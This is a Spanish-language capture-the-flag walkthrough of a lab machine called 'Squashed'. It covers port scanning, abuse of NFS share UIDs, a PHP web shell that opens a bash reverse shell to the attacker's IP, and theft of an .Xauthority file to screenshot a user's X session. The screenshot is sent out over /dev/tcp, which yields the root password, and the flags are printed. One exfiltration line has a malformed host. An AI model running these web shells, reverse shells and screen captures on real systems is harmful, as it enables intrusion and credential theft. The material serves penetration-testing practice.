Conocimientos
-
Enumeración del NFS
-
Creación de Usuarios para coincidir con el UID del recurso compartido
-
Creación de WebShell
-
Abuso del fichero .Xauthority
-
Captura de pantalla remota
Reconocimiento
Escaneo de puertos con nmap
Puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -vvv 10.10.11.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-12 14:32 GMT
Initiating Connect Scan at 14:32
Scanning 10.10.11.191 [65535 ports]
Discovered open port 80/tcp on 10.10.11.191
Discovered open port 22/tcp on 10.10.11.191
Discovered open port 111/tcp on 10.10.11.191
Discovered open port 44029/tcp on 10.10.11.191
Discovered open port 2049/tcp on 10.10.11.191
Discovered open port 33653/tcp on 10.10.11.191
Discovered open port 41873/tcp on 10.10.11.191
Discovered open port 50773/tcp on 10.10.11.191
Completed Connect Scan at 14:33, 17.38s elapsed (65535 total ports)
Nmap scan report for 10.10.11.191
Host is up, received user-set (0.081s latency).
Scanned at 2023-01-12 14:32:53 GMT for 18s
Not shown: 39368 closed tcp ports (conn-refused), 26159 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
111/tcp open rpcbind syn-ack
2049/tcp open nfs syn-ack
33653/tcp open unknown syn-ack
41873/tcp open unknown syn-ack
44029/tcp open unknown syn-ack
50773/tcp open unknown syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.43 seconds
nmap -sCV -p22,80,111,2049,33653,41873,44029,50773 10.10.11.191
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-12 14:34 GMT
Nmap scan report for 10.10.11.191
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48add5b83a9fbcbef7e8201ef6bfdeae (RSA)
| 256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_ 256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35935/udp6 mountd
| 100005 1,2,3 37455/tcp6 mountd
| 100005 1,2,3 38448/udp mountd
| 100005 1,2,3 50773/tcp mountd
| 100021 1,3,4 33653/tcp nlockmgr
| 100021 1,3,4 40607/tcp6 nlockmgr
| 100021 1,3,4 46533/udp6 nlockmgr
| 100021 1,3,4 59628/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
33653/tcp open nlockmgr 1-4 (RPC #100021)
41873/tcp open mountd 1-3 (RPC #100005)
44029/tcp open mountd 1-3 (RPC #100005)
50773/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.27 seconds
Puerto 80 (http)
whatweb http://10.10.11.191
http://10.10.11.191 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.191], JQuery[3.0.0], Script, Title[Built Better], X-UA-Compatible[IE=edge]
Vista de la web
Todo es estático, no hay nada que enumerar
Puerto 2049 (NFS)
Para ver recursos compartidos a través de este servicio, se puede utilizar lo siguiente:
showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
Como existen recursos compartidos, creo dos monturas para ver el contenido
mkdir /mnt/ross
mkdir /mnt/web_server
mount -t nfs 10.10.11.191:/home/ross /mnt/ross
mount -t nfs 10.10.11.191:/var/www/html /mnt/web_server
Visualizando las monturas, se puede ver el UID del propietario
ls -la
drwxr-xr-x root root 4.0 KB Thu Jan 12 14:45:50 2023 .
drwxr-xr-x root root 4.0 KB Sat Dec 24 17:16:18 2022 ..
drwxr-xr-x 1001 1001 4.0 KB Thu Jan 12 06:21:33 2023 ross
drwxr-xr-- 2017 www-data 4.0 KB Thu Jan 12 14:45:01 2023 web_server
Se puede crear un usuario con ese identificador para poder tener todos los privilegios
useradd ross -u 2017
groupmod -g 2017 ross
su ross
bash
Explotación
Como hay capacidad de escritura, es posible crear un archivo que envíe una reverse shell a mi equipo
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.16.47/443 0>&1'");
?>
Al efectuar una petición por GET al recurso y estando en escucha por netcat, gano acceso a la máquina
curl http://10.10.11.191/cmd.php
Tratamiento de la TTY
alex@squashed:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/var/www/html$ ^Z
zsh: suspended nc -nlvp 443
❯ stty raw -echo;fg
[1] + continued nc -nlvp 443
reset xterm
export TERM=xterm
stty rows 56 columns 209
Se puede visualizar la primera flag
alex@squashed:/home/alex$ cat /home/alex/user.txt
4dc368d2e94de826c234e0be43b7a259
Escalada
En la montura de ross, se pueden ver ficheros cuyo UID es 1001
ross@kali:/mnt/ross$ find . -ls
30718 4 drwxr-xr-x 14 1001 1001 4096 Jan 12 06:21 .
39115 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Music
39116 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Pictures
5632 4 -rw------- 1 1001 1001 2475 Dec 27 15:33 ./.xsession-errors.old
39023 4 drwx------ 11 1001 1001 4096 Oct 21 14:57 ./.cache
find: ‘./.cache’: Permission denied
39113 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Public
39114 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Documents
39343 4 -rw-rw-r-- 1 1001 1001 1365 Oct 19 12:57 ./Documents/Passwords.kdbx
39080 4 drwx------ 12 1001 1001 4096 Oct 21 14:57 ./.config
find: ‘./.config’: Permission denied
39101 4 drwx------ 3 1001 1001 4096 Oct 21 14:57 ./.local
find: ‘./.local’: Permission denied
39128 0 lrwxrwxrwx 1 root root 9 Oct 21 13:07 ./.viminfo -> /dev/null
5606 4 -rw------- 1 1001 1001 2475 Jan 12 06:21 ./.xsession-errors
39117 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./articulos
39012 0 lrwxrwxrwx 1 root root 9 Oct 20 13:24 ./.bash_history -> /dev/null
39105 4 drwx------ 3 1001 1001 4096 Oct 21 14:57 ./.gnupg
find: ‘./.gnupg’: Permission denied
39207 4 -rw------- 1 1001 1001 57 Jan 12 06:21 ./.Xauthority
39110 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Desktop
39111 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Downloads
39112 4 drwxr-xr-x 2 1001 1001 4096 Oct 21 14:57 ./Templates
Por tanto, hay que crear otro usuario para poder tener permisos
useradd ross2 -u 1001
Entre esos ficheros, destaca Xauthority, ya que en caso de que haya usuarios conectados, es posible capturar la pantalla
Para comprobarlo:
alex@squashed:/home/alex$ w
15:06:33 up 8:45, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 06:21 8:45m 46.16s 0.06s /usr/libexec/gnome-session-binary --systemd --session=gnome
Ross está conectado y su display es :0
Para poder tener acceso al fichero como el usuario Alex, se puede tratar de crear una copia descargado el fichero como ese usuario
ross2@kali:/mnt/ross$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.191 - - [12/Jan/2023 15:15:59] "GET /.Xauthority HTTP/1.1" 200 -
alex@squashed:/home/alex$ wget http://10.10.16.47/.Xauthority
--2023-01-12 15:15:57-- http://10.10.16.47/.Xauthority
Connecting to 10.10.16.47:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [application/octet-stream]
Saving to: '.Xauthority.1'
.Xauthority.1 100%[===================================================================================================================>] 57 --.-KB/s in 0.1s
Para verificar la conexión:
xdpyinfo -display :0
Por tanto, se puede tomar una captura de pantalla
En el directorio de Ross se podía ver una base de datos de Keepass, protegida por contraseña
Al ser una versión antigua no se puede utilizar fuerza bruta
keepass2john Passwords.kdbx
! Passwords.kdbx : File version '40000' is currently not supported!
Para capturar la pantalla, se puede emplear lo siguiente:
xwd -root -screen -silent -display :0 > screenshot.xwd
Descargando la imagen xwd
alex@squashed:/home/alex$ cat < screenshot.xwd > /dev/tcp/screenshot.xwd/443 # Máquina víctima
nc -nlvp 443 > screenshot.xwd # Equipo local
Se puede convertir a una imagen png
convert screenshot.xwd screenshot.png
Visualizando la imagen, se puede ver una contraseña en texto claro:
Corresponde a la contraseña de root, así que puedo migrar de usuario y visualizar la flag
alex@squashed:/home/alex$ su root
Password:
root@squashed:/home/alex# cat /root/root.txt
e7e77bbfd961f38c1902ded55a703a4c